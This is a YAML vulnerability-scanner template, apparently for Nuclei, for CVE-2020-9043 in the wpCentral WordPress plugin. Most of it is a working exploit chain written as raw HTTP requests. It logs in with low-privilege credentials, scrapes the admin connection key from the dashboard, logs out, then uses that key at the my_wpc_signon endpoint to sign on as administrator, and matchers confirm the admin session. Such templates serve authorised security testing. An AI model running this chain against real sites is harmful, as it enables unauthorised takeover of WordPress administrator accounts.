id: CVE-2020-9043

info:
  name: WordPress wpCentral < 1.5.1 - Improper Access Control to Privilege Escalation
  author: scent2d
  severity: high
  description: |
    The wpCentral plugin before 1.5.1 for WordPress allows disclosure of the connection key for Wordpress Admin Account.
  reference:
    - https://wpscan.com/vulnerability/10074
    - https://www.wordfence.com/blog/2020/02/vulnerability-in-wpcentral-plugin-leads-to-privilege-escalation/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9043
    - https://wordpress.org/plugins/wp-central/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-9043
    cwe-id: CWE-200
  metadata:
    verified: "true"
  tags: wordpress,wp-plugin,wpcentral,authenticated,wp,wpscan,cve,cve2020

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-login.php?action=logout&_wpnonce={{nonce}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2
    cookie-reuse: true
    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "contains(all_headers_4, 'text/html')"
          - "status_code_4 == 200"
          - "contains(body_4, 'wpCentral Connection Key')"
          - contains(body_4, "pagenow = \'dashboard\'")
        condition: and

    extractors:
      - type: regex
        name: authkey
        part: body
        group: 1
        regex:
          - 'style="word-wrap:break-word;">([a-z0-9]+)'
        internal: true

      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '_wpnonce=([0-9a-z]+)'
        internal: true